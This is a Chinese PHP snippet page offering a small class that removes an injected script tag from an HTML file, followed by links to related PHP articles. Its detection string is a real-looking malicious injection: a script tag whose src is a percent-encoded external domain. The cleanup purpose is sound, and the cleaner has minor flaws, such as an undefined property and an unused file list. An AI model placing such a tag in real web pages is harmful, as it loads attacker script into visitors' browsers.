php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php常用Stream函数集介绍

stream_bucket_append函数:为队列添加数据 stream_bucket_make_writeable函数:从操作的队列中返回一个数据对象stream_bucket_ne...

php实现随机生成易于记忆的密码

本文实例讲述了php实现随机生成易于记忆的密码。分享给大家供大家参考。具体实现方法如下: 这里通过预定义一些单词,让php随机从这些单词中选择进行组合生成密码 function ra...

PHP 无限分类三种方式 非函数的递归调用!

PHP 无限分类三种方式 非函数的递归调用!

php无限分类大致有三种方式,   1、数据库通过设置父类ID来进行唯一索引,然后使用函数的递归调用实现无限分类;   2、数据库设计通过特定格式进行排列,然后使用mysql查询关键函数...

PECL方式安装php-mongodb扩展方法

PECL方式安装php-mongodb扩展方法

开始安装 全新虚拟机Ubuntu14.04,手动安装了apache2和php5;其余全没有。 那我们使用一条命令安装php扩展 sudo pecl install mongodb...

简单谈谈PHP中的Reload操作

前言 有很多前辈告诫过我们,reload 能保证整个过程的平滑性,所谓平滑性指的是在 reload 的过程中,旧的进程在处理完当前请求前不会提前终止。很多年来,我从来没有质疑过这种说法,...